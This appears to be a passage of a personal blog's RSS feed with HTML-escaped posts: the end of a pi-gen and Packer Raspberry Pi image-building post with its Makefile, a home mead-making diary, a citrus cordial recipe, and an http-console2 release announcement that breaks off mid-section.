&lt;span class=&quot;nv&quot;&gt;FIRST_USER_NAME&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;shell&lt;/span&gt; bash &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;source ./config; echo $$FIRST_USER_NAME&apos;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;PACKER_CONFIG_HOME&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;${HOME}&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;PACKER_DIR&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; packer

&lt;span class=&quot;c&quot;&gt;# set PACKER, TEE, CUT, etc.
&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;$(BASE_IMG_FILENAME)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
	&lt;span class=&quot;nv&quot;&gt;$(SUDO)&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-E&lt;/span&gt; ./build.sh

&lt;span class=&quot;nl&quot;&gt;%.sha256&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;%&lt;/span&gt;
	&lt;span class=&quot;nv&quot;&gt;$(SHA256)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$&amp;lt;&lt;/span&gt; | &lt;span class=&quot;nv&quot;&gt;$(SUDO_TEE)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$@&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;images&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;$(BASE_IMG_FILENAME) $(BASE_IMG_FILENAME).sha256&lt;/span&gt;
	&lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;packer &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
		&lt;span class=&quot;nv&quot;&gt;PACKER_CONFIG_DIR&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$(PACKER_CONFIG_HOME)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$(SUDO)&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-E&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
		&lt;span class=&quot;nv&quot;&gt;$(PACKER)&lt;/span&gt; build &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
		&lt;span class=&quot;nt&quot;&gt;-var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;source_iso_url&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;../&lt;span class=&quot;nv&quot;&gt;$(BASE_IMG_FILENAME)&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
		&lt;span class=&quot;nt&quot;&gt;-var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;source_iso_checksum&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$(CUT)&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos; &apos;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f1&lt;/span&gt; &amp;lt; ../&lt;span class=&quot;nv&quot;&gt;$(BASE_IMG_FILENAME)&lt;/span&gt;.sha256&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
		&lt;span class=&quot;nt&quot;&gt;-var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;output_directory&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;../&lt;span class=&quot;nv&quot;&gt;$(PI_GEN_DEPLOY_DIR)&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
		&lt;span class=&quot;nt&quot;&gt;-var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;operator_user_name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$(FIRST_USER_NAME)&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
		.

&lt;span class=&quot;nl&quot;&gt;clean&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
	&lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rf&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$(PI_GEN_DEPLOY_DIR)&lt;/span&gt;/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;.img

&lt;span class=&quot;nl&quot;&gt;all&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;images&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;make images&lt;/code&gt; first builds the base image, then its checksum file, and
finally runs Packer, feeding it relevant paths and information from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config&lt;/code&gt;
file.&lt;/p&gt;

&lt;p&gt;Afterwards, the images produced by Packer can be flashed to a SD card as usual:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo dd &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;deploy/prusa_i3.img &lt;span class=&quot;nv&quot;&gt;of&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/dev/sda &lt;span class=&quot;nv&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;4MB
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;summary&quot;&gt;Summary&lt;/h1&gt;
&lt;p&gt;Building Raspberry Pi OS images this way has been a huge win for me. It allowed
for quick iteration in a familiar environment, while opening doors for growth if
needed - this set up is not far off from using Ansible as the provisioning tool.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If you would like to check the set-up out in its entirety, it’s available
in &lt;a href=&quot;https://github.com/mmalecki/pi-gen-packer&quot;&gt;this GitHub repository&lt;/a&gt;.&lt;/strong&gt;
At present, it builds two images: the OctoPrint one, used as an example throughout
this post, and a more complex Home Assistant. More will come as I build out the
infrastructure.&lt;/p&gt;
</description>
				<pubDate>Wed, 16 Nov 2022 00:00:00 -0600</pubDate>
				<link>http://blog.mmalecki.com/2022/11/16/pi-gen-and-packer.html</link>
				<guid isPermaLink="true">http://blog.mmalecki.com/2022/11/16/pi-gen-and-packer.html</guid>
			</item>
		
			<item>
				<title>Mead, part one</title>
				<description>&lt;p&gt;This year, like almost every other, by the end of summer I found myself in
possession of enormous amounts of various kinds of home-made honey of ridiculous
quality. Previously I’ve been using the spoils for cooking and bartending, but
this year I’ve decided to go all out and make my first mead out of it.&lt;/p&gt;

&lt;p&gt;This is the first part of my sugar’s journey into becoming booze. My name is
Maciej, and I’m here tell its (ridiculously unkempt and hastily written down) story.&lt;/p&gt;

&lt;!-- more --&gt;

&lt;p&gt;&lt;img src=&quot;/img/mead/IMG_20201115_203315.jpg&quot; alt=&quot;Mead and I&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;goals&quot;&gt;Goals&lt;/h1&gt;
&lt;p&gt;I wanted my first mead to be to, well, the &lt;a href=&quot;https://www.diffordsguide.com/cocktails/recipe/2144/bees-knees&quot;&gt;Bee’s Knees&lt;/a&gt; of meads - easy to drink,
pleasant, and balanced off the dry side. I did not yet settle on whether I wanted
it to be sparkling or not, but that could be decided once I was done with the first
fermentation. One thing I was sure of - it was to be a clean expression of the
honeys involved, with no added spices or fruits.&lt;/p&gt;

&lt;h3 id=&quot;digression&quot;&gt;Digression&lt;/h3&gt;
&lt;p&gt;You can always add things, but never take them away. This is the approach I use
in everyday cooking, especially with spices and other fragrant tastes.&lt;/p&gt;

&lt;h1 id=&quot;research&quot;&gt;Research&lt;/h1&gt;
&lt;p&gt;Before I begun fermenting, I researched.&lt;/p&gt;

&lt;p&gt;First thing I realized, and something you need to know about the brewing world,
there’s lots of fairly industry-specific wording - jargon, if you will. I came
to understand it, because I had to, but I find it wholly unnecessary and I don’t
intend to use any of it in this post. Neither will you find more mentions of
gallons or pounds. I like actual units of measurement.&lt;/p&gt;

&lt;h2 id=&quot;turning-of-sugar&quot;&gt;Turning of sugar&lt;/h2&gt;
&lt;p&gt;The first step in the process of turning sugar into alcohol is diluting the
sugar to a level digestable by yeast. This is most usually done with water
(but also fruit and vegetable juices, teas, etc. if you want to get fancy), and
results in what looks and tastes like a weak syrup.&lt;/p&gt;

&lt;p&gt;Yeast is then added, and begins the transformation we’re all after.&lt;/p&gt;

&lt;p&gt;The sweeter the syrup, the higher the final alcohol content and past a certain point,
sugar level. Although the exact science escapes me, I think it has something to do with
yeast’s inability to function in environments over certain alcohol levels, and thus
starting to leave some unfermented residual sugars behind, once it enters that stage.&lt;/p&gt;

&lt;p&gt;I opted to keep the honey-water ratio low, to enjoy a drier mead. It just gave me
more options to work with. In the unlikely scenario where my mead would come out
too dry, I opted to add sugar again, after the fermentation reads as complete
for the first time. Yeast, unlike chemical agents, can and will reproduce in
its medium, thus making such actions not only possible, but common place amongst brewers.&lt;/p&gt;

&lt;p&gt;The mead-making community has developed a &lt;a href=&quot;https://gotmead.com/blog/the-mead-calculator/&quot;&gt;mead calculator&lt;/a&gt; which I found incredibly
useful for determining the exact numbers here.
A lot of the brewing math is based around the concept of specific gravity, which
is a liquid density measurement. When added to water, sugar increases the density
of the resulting solution. Again, I won’t pretend to know the chemistry and math behind it.
According to various resources I pieced together, dry meads usually start out
about ~1.07 - 1.11 SG and come out at ~10 - 15 % ABV and near 1.0 SG (meaning the yeast
ate all of the present sugar).&lt;/p&gt;

&lt;p&gt;And so, the initial ratio I picked was 5 liters of honey and 16 liters of water.
According to the calculator, this would result in starting gravity of 1.103 SG,
and ferment to 13.54 % ABV.&lt;/p&gt;

&lt;h2 id=&quot;yeast&quot;&gt;Yeast&lt;/h2&gt;
&lt;p&gt;Sadly, the Polish market is not ripe with internationally relatable
yeasts, and, frankly, I did not care about the strain of microorganisms
involved, as long as they could process sugars into ethanol under a reasonable
temperature range. I’ve acquired a well-reviewed mead yeast called “Enovini”.
Poland has a long tradition of making mead, so I could be reasonably sure of
its ability to do its job.&lt;/p&gt;

&lt;h1 id=&quot;the-making-of&quot;&gt;The making of&lt;/h1&gt;

&lt;h2 id=&quot;sanitation&quot;&gt;Sanitation&lt;/h2&gt;
&lt;p&gt;And so much of it.&lt;/p&gt;

&lt;p&gt;I’ve sanitized all (down to the ladle I’ve used) of the equipment with potassium
metabisulfite, or, if you want to flex your tongue, pirosiarczan potasu.&lt;/p&gt;

&lt;h2 id=&quot;brewing&quot;&gt;Brewing&lt;/h2&gt;

&lt;p&gt;Here’s where things get a little anti-climactic. This step was extremely uneventful.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/mead/IMG_20201115_202908.jpg&quot; alt=&quot;Honeys&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I combined:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;1.6 l rapeseed honey&lt;/li&gt;
  &lt;li&gt;1.6 l acacia honey&lt;/li&gt;
  &lt;li&gt;0.8 l lime-tree honey&lt;/li&gt;
  &lt;li&gt;1 l rapeseed-multiflower honey&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;and water, and brought it up to a temperature where I could mix the two. Then
I’ve poured the mixture into the fermentation vessel, and let it cool outside.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/mead/IMG_20201115_231945.jpg&quot; alt=&quot;Fermentation vessel&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I’ve then measured the aforementioned specific gravity with a hydrometer. It came
right about 1.11 SG, meaning the potential alcohol content of the
final product would come in at around 14.37 %, which was right in my desired range.&lt;/p&gt;

&lt;p&gt;This also nearly matched the calculations I’ve made earlier using the aforementioned
mead calculator, and so I added the yeast, installed an airlock filled with cheap
vodka and fucked off for the night.&lt;/p&gt;

&lt;h3 id=&quot;digression-1&quot;&gt;Digression&lt;/h3&gt;
&lt;p&gt;I’ve later realised I’ve stripped my honey of parts of its flavor by bringing the
temperature up so much. For my next mead, I intend to do no heating of honey at all.
While this means more natural yeasts will be present, that’s not exactly a problem
for me. Firstly, they can participate, if they desire, secondly, spontaneous fermentation
wines would like to have a word.&lt;/p&gt;

&lt;p&gt;I’m lucky enough to have an alternative on hand for the actual mixing - a high-powered
blender. It accomplishes two concerns at once - mixing and aerating (apparently
required for yeast reproduction; again, the actual science escapes me here).&lt;/p&gt;

&lt;h2 id=&quot;fermentation&quot;&gt;Fermentation&lt;/h2&gt;
&lt;p&gt;The next morning I freaked out a little. The airlock activity was non-existant.
Sure, it seemed like CO&lt;sub&gt;2&lt;/sub&gt; appeared  to put some pressure on the water, there was no
vigorous bubbling. I took to seek advice of more experienced brewers. They were
firmly of the opinion that I should wait until (at least) the 3rd day of fermentation
before messing with the brew.&lt;/p&gt;

&lt;p&gt;And so I did, and freaked out even more, because from the outside it’d seemed
like nothing was reproducing inside my lily white bucket. I then began googling,
and lo and behold, it turned out buckets leaking CO&lt;sub&gt;2&lt;/sub&gt; without going through the
airlock was fairly common. While I heavily dislike leaks of any kind, this was
fine in theory, as the CO&lt;sub&gt;2&lt;/sub&gt; still formed a protective layer on top of the beverage.&lt;/p&gt;

&lt;p&gt;And so, since the airlock wasn’t telling me a thing, it was time to begin monitoring
the actual fermentation progress using the same tool I’ve used to take the initial
sugar content measurement - the hydrometer.&lt;/p&gt;

&lt;h2 id=&quot;monitoring&quot;&gt;Monitoring&lt;/h2&gt;
&lt;p&gt;Imagine my surprise when the yeast was not only happily farting out alcohol, it
was doing so at a speed I did not expect. Within 5 days since the fermentation
begun, specific gravity was down to 1.07, meaning the sugar was ~35 % eaten.&lt;/p&gt;

&lt;p&gt;Now, nearly 3 weeks after the start date, the fermentation is nearly complete
with 1.005 SG.&lt;/p&gt;

&lt;p&gt;Of course, I couldn’t help but take a sip every time I took these measurements.
The brew was getting better, less sweet and more alcoholic with every try, but
I could tell it had a long journey ahead of it.&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;All that’s left here is to wait until the yeast finishes eating. The next part
of this mead’s adventure will be transferring the mead to an aging vessel
it in order to age it.&lt;/p&gt;

&lt;p&gt;How long until that happens? It’s gonna be soon, but I really have no clue.
I’ll be sure to post about it, tho.&lt;/p&gt;
</description>
				<pubDate>Sun, 06 Dec 2020 00:00:00 -0600</pubDate>
				<link>http://blog.mmalecki.com/2020/12/06/mead-part-1.html</link>
				<guid isPermaLink="true">http://blog.mmalecki.com/2020/12/06/mead-part-1.html</guid>
			</item>
		
			<item>
				<title>Lazy citrus cordial</title>
				<description>&lt;p&gt;This is a lazy variation of the &lt;a href=&quot;https://www.liquor.com/recipes/trash-tiki-citrus-stock/&quot;&gt;Trash Tiki’s citrus stock&lt;/a&gt;. It doesn’t need any
cooking, and produces a bitter-ish and sour syrup that will feel at home in any
citrus-forward cocktail (pisco sour being amongst my favorites).&lt;/p&gt;

&lt;p&gt;You can make it with any juiced citrus husks you have on hand, and the final
flavor profile will depend on the fruit used. If you have access to bergamot
oranges, they produce an amazingly florar result. Mandarins will yield something
sweeter, while grapefruits will shift the balance towards bitterness. Lemon and
limes will contribute the good old citrus sourness. Pick your poison!&lt;/p&gt;

&lt;!-- more --&gt;

&lt;h1 id=&quot;recipe&quot;&gt;Recipe&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;1000 g juiced citrus husks&lt;/li&gt;
  &lt;li&gt;250 g fine sugar&lt;/li&gt;
  &lt;li&gt;1 g salt&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Vacuum pack the ingredients (alternatively, combine in a container, shake and
squeeze every few hours). Let steep for 6 to 72 hours, depending on how bitter
you would like the product to be. Strain out and squeeze the solids. Filter
through a coffee filter if desired.&lt;/p&gt;

&lt;h2 id=&quot;infinity-lemonade&quot;&gt;Infinity lemonade&lt;/h2&gt;
&lt;p&gt;One of my favorite uses for this cordial is lemonade. I call it “infinity lemonade”,
because the husks of the citrus used to make it usually produce enough cordial
to sweeten the next batch. Neat, huh?&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;400 g water&lt;/li&gt;
  &lt;li&gt;400 g strained citrus juice (pick your favorite, the choice will determine flavor profile)&lt;/li&gt;
  &lt;li&gt;200 g lazy citrus cordial&lt;/li&gt;
  &lt;li&gt;1 g salt&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Combine ingredients in a siphon. Charge with a CO2 canister. Cool to fridge temperature.&lt;/p&gt;

&lt;h2 id=&quot;gin-and-lazy-juice&quot;&gt;Gin and lazy juice&lt;/h2&gt;
&lt;p&gt;This lemonade can be a perfect mixer.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Citrus-forward gin, as desired (I usually go for 60 ml)&lt;/li&gt;
  &lt;li&gt;Infinity lemonade, as desired (I usually go as far as an old fashioned glass will let me)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Pour the gin into a glass filled with ice. Top up with the lemonade. Bonus points
if you do it while wearing sweatpants.&lt;/p&gt;
</description>
				<pubDate>Sun, 19 Apr 2020 00:00:00 -0500</pubDate>
				<link>http://blog.mmalecki.com/2020/04/19/lazy-citrus-cordial.html</link>
				<guid isPermaLink="true">http://blog.mmalecki.com/2020/04/19/lazy-citrus-cordial.html</guid>
			</item>
		
			<item>
				<title>http-console2 0.9 - a friendly REPL-based HTTP API explorer</title>
				<description>&lt;p&gt;During the past few months I’ve been working on some projects that use OpenAPI
to describe their HTTP interfaces. As such, I had the chance to play with the
Swagger UI a lot. While I found it to be an amazing tool to experiment around
with an API, one thing bugged me - I spend lots of my time in terminal, and
Swagger UI is a browser app.&lt;/p&gt;

&lt;p&gt;After some time of trying to find an existing tool, my mind turned to
&lt;a href=&quot;https://github.com/mmalecki/http-console2&quot;&gt;http-console2&lt;/a&gt; -
my fork of &lt;a href=&quot;https://github.com/cloudhead&quot;&gt;Alexis Sellier&lt;/a&gt;’s
&lt;a href=&quot;https://github.com/cloudhead/http-console&quot;&gt;http-console&lt;/a&gt;. While it desperately
needed a refactor, its interface seemed to be a prime candidate for extension
with features that turn it into a full-fledged API explorer.&lt;/p&gt;

&lt;p&gt;So, a couple of days later:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I am very pleased to announce a brand new &lt;a href=&quot;https://github.com/mmalecki/http-console2&quot;&gt;http-console2&lt;/a&gt;, now supporting&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;/2020/01/21/http-console-0.9.html#multiline-json-bodies&quot;&gt;Multiline JSON bodies&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;/2020/01/21/http-console-0.9.html#openapi-based-autocompletion&quot;&gt;OpenAPI-based autocompletion&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;/2020/01/21/http-console-0.9.html#per-origin-command-and-request-body-histories&quot;&gt;Per-origin command and request body histories&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;/2020/01/21/http-console-0.9.html#contexts&quot;&gt;Contexts&lt;/a&gt;
&lt;!-- more --&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;feature-highlights&quot;&gt;Feature highlights&lt;/h1&gt;

&lt;p&gt;These are the features I’m most excited about.&lt;/p&gt;

&lt;h2 id=&quot;multiline-json-bodies&quot;&gt;Multiline JSON bodies&lt;/h2&gt;
&lt;p&gt;Editing single line JSON can get very tiring, very fast. Hence, this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/multiline-json.gif&quot; alt=&quot;Handling multiline JSON bodies&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;openapi-based-autocompletion&quot;&gt;OpenAPI-based autocompletion&lt;/h2&gt;
&lt;p&gt;If the API you’re chatting with supports OpenAPI, http-console2 can now discover its
specification and autocomplete based on it.&lt;/p&gt;

&lt;p&gt;To enable OpenAPI support, launch http-console2 with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--openapi&lt;/code&gt; switch (and
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--json&lt;/code&gt;, when appropriate). For example, while interacting with Kubernetes
API:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/openapi-autocompletion.gif&quot; alt=&quot;OpenAPI autocompletion while interacting with Kubernetes API&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;per-origin-command-and-request-body-histories&quot;&gt;Per-origin command and request body histories&lt;/h2&gt;
&lt;p&gt;http-console2 now supports origin-specific command and body history. This means
that if you press arrow-up when talking to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://127.0.0.1:1337&lt;/code&gt;, you won’t
receive history suggestions from your session with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://127.0.0.1:7331&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;You can, however, configure http-console2 to share histories you would like to
share. This is especially helpful when you regularly connect to different servers
that speak the same protocol, for example your local development server, and a
remote development server:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;http-console2 &lt;span class=&quot;nt&quot;&gt;--history&lt;/span&gt; rabbits-dev 127.0.0.1:8000
...
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;http-console2 &lt;span class=&quot;nt&quot;&gt;--history&lt;/span&gt; rabbits-dev https://api.dev.rabbitshq.com
&lt;span class=&quot;c&quot;&gt;# http-console2 will propose commands from your session with 127.0.0.1:8000 here.&lt;/span&gt;
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;contexts&quot;&gt;Contexts&lt;/h2&gt;
&lt;p&gt;This is probably my second favorite feature in this release, right after the
OpenAPI-based autocompletion, simply due to how often I need to talk to several
versions of the same service, running in different environments.&lt;/p&gt;

&lt;p&gt;Contexts are a way for http-console2 to deduce some common settings based on the
URL you’re talking to. To reuse the local and remote development server example,
you can place the following in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.http-console2/contexts.json&lt;/code&gt; in order to
implicitly configure http-console2 with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--openapi --json --history rabbits&lt;/code&gt; when
you run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http-console http://127.0.0.1:8000&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http-console https://api.dev.rabbitshq.com&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;rabbits&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;urls&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;http://127.0.0.1:8000&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://api.dev.rabbitshq.com&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;openapi&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;json&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;history&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;rabbits-dev&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h1 id=&quot;installing&quot;&gt;Installing&lt;/h1&gt;
&lt;p&gt;Sounds interesting?&lt;/p&gt;

&lt;p&gt;Give it a whirl!&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;npm &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt; http-console2
http-console &amp;lt;url&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;the-refactor&quot;&gt;The refactor&lt;/h1&gt;

&lt;p&gt;This is a deeper dive into the refactor and some of the technical decisions made
along the way. Feel free to jump straight to &lt;a href=&quot;#conclusions&quot;&gt;conclusions&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;work-organization&quot;&gt;Work organization&lt;/h2&gt;
&lt;p&gt;I’ve started this refactor knowing clearly what I wanted to achieve:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;basic UX same as http-console&lt;/li&gt;
  &lt;li&gt;but with more “API explorer” flavor&lt;/li&gt;
  &lt;li&gt;and OpenAPI support&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Based on those I made &lt;a href=&quot;https://github.com/mmalecki/http-console2/projects/1&quot;&gt;a plan&lt;/a&gt; - 
funemployment rendered me with lots of time on my hands, and I was going
to do my best to not let feature-creep creep me out of this refactor.&lt;/p&gt;

&lt;p&gt;Looking back, I’m very happy with the scope I’ve set, and with the outcome that
realizing this scope had brought.&lt;/p&gt;

&lt;h2 id=&quot;refresh&quot;&gt;Refresh&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/mmalecki/http-console2/commit/64f99b57166e3d571278f40c3a65b0a6a1c94514&quot;&gt;first step&lt;/a&gt;
was to refresh the ~9 year old codebase (I haven’t been the &lt;em&gt;best&lt;/em&gt; maintainer).&lt;/p&gt;

&lt;p&gt;I’ve been on a binge of trying out different new node.js HTTP clients, and
I decided to use &lt;a href=&quot;https://github.com/sindresorhus/got&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;got&lt;/code&gt;&lt;/a&gt; for this project (instead of the core &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http&lt;/code&gt; module,
as the original http-console does). That turned out to be a huge time saver,
and I came to enjoy its API very much.&lt;/p&gt;

&lt;p&gt;I also migrated from using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;readline&lt;/code&gt; module to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;repl&lt;/code&gt; module. It felt
more appropriate, and gave us a couple of features for free (like REPL commands,
or easy acceptance of &lt;a href=&quot;#multiline-json-bodies&quot;&gt;multiline JSON bodies&lt;/a&gt;).&lt;/p&gt;

&lt;h2 id=&quot;autocompletion&quot;&gt;Autocompletion&lt;/h2&gt;
